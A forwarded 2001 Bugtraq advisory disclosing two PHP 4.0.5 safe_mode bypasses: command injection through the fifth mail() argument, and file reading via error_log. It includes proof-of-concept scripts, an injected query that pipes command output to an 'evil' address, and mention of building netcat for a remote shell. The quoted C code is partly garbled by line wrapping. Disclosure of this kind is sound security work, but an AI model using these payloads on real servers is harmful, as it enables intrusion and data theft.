----- Original Message -----
From: "Joost Pol" <joost@contempt.nl>
To: <bugtraq@securityfocus.com>
Sent: Saturday, June 30, 2001 1:40 PM
Subject: php breaks safe mode


> Laberatoire Contempt
>
> Date     : 12/06/2001
> Author   : Joost Pol alias 'Nohican' (joost@contempt.nl)
> Impact   : Minor in most cases.
>
> Subject  : PHP safe_mode troubles.
>
> 1. PHP Version 4.0.5 breaks safe-mode.
>
>  1.0 - Description of the problem
>
>   An extra 5th parameter was added to the mail() command breaking
safemode:
>
>   - snippet of the code in mail.c (lines 156-165)
>
>   if (extra_cmd != NULL) {
>    sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2);
>    strcpy (sendmail_cmd, sendmail_path);
>        strcat (sendmail_cmd, " ");
>        strcat (sendmail_cmd, extra_cmd);
>        } else
 sendmail_cmd = sendmail_path;                                           }
>        sendmail = popen(sendmail_cmd,
      }  }
>
>   - end of code snippet
>
>   The popen() function is the C library function popen(3).
>
>   An attacker could easily upload a simple evil.php script containing:
>
>   <? mail("foo@bar,"foo","bar","",$bar); ?>
>
>   Then the script could be invoked using a simple query like:
>
>   http://foo.com/evil.php?bar=;/usr/bin/id|mail evil@domain.com
>
>  1.1 Impact
>
>   Well, first of all it renders an important part of safe_mode useless.
>
>   Two examples come to mind:
>
>    1.1.1 Example 1
>
>     A customer has bougt some web space from a provider and is given only
>     ftp access to upload his files. The customer is not supposed to have
>     shell access nor view files outside of his home directory.
>
>     The customer could easily upload and compile a "lite" version of the
>     popular netcat tool (cd /usr/ports/*/netcat;make clean;make&&make
install)     and spawn him self a remote shell on the hosting boxen.
>
>     If something like suexec is not used by the provider, the shell
spawned
>     could in fact be a "nobody" (uid of webserver) shell. This could make
>     the situation even worse.
>
>     Situations where (virtual) hosting machines are used in a host-based
>     authentication scheme, i am not even willing to *consider*.
>
>    1.1.2 Example 2
>
>     A customer has bought some web space from a provider and was given
>     a shell account on the hosting boxen.
>
>     If something similiar to suexec is not running the customer could
spawn
>     him self a nobody (www, web, uid of webserver) shell. (1.1.1)
>
>     The impact of this varies on a per setup/provider basis.
>
>     Most providers just dont *expect* someone to have a shell with the uid
>     of the webserver on the hosting box.
>
>     "Internal" scripts, database schemes and database password are
commonly
>     (but sadly) left owned by the uid/gid of the webserver. These become
>     vulnerable.
>
>     Even webserver configuration files (httpd.conf) and *complete*
webserver
>     roots owned by the uid/gid of the webserver have been observed in
>     the wild.
>
>     Experience learns that when unexepected-nobody access is gained on a
>     (virtual) hosting machine "bad" things are bound to happen sooner or
later.
>
>  1.2 - Solution
>
>    Well, obviously just a "slip" of the PHP-team.
>
>    5th argument to mail() should not be honored in safe_mode. (MHO)
>
>
> 2. PHP Version 4.0.5/4.0.4pl1 SOMETIMES breaks safe_mode.
>
>
>  2.0 - Description of the problem
>
>   PHP safe_mode has the nice feature of disallowing the opening/reading
>   and writing to files that are not owned by the uid that the script
>   is owned by.
>
>   Though using some "common sense" it still is possible to open/read
>   and write to files that are owned by the uid the webserver is
>   running as.
>
>   *notice* assuming that something like suexec is not in place */notice*
>
>   An attacker could upload a simple script that does the following:
>
>   <?
>   $cmd = '<? showsource($foo); ?>';
> error_log($cmd,3,"/path/to/user/wwwspace/nobody.php");
>   ?>
>
>   For example, assuming that the error_log is owned by the webserver it
>   could be read using a simple query:
>
>   http://foo.bar/~user/nobody.php?foo=/path/to/webserver/logs/access_log
>
>  2.1 - Impact
>
>   Depends on the setup of the hosting box.
>
>   If suexec or something similiar is used, impact is nihil.
>
>   See also 1.1.1/1.1.2
>
>  2.3 - Solution
>
>   Disallow the changing of the error_log location in safe_mode?
>
>   Not really for me to say, the PHP-team will come with something good.
>
>   Notice: just changing the error_log function wont do, you could also
>           change the ini setting error_log (or another ini setting
>   that has a similiar effect).
>
>   These ini settings can be set from a user script since they
>   all have PHP_INI_ALL perimissions.
>
>   Maybe disallow setting of ini variables in safemode?
>
> EOF
>
> --
> Joost Pol alias 'Nohican' <joost@contempt.nl> PGP 584619BD
> PGP fingerprint B1FA EE66 CFAA A492 D5F8 9A8A 0CDA 5846 19BD
> Laboratoire Contempt - Tel +31-6-28887995 Fax: +31-70-3873625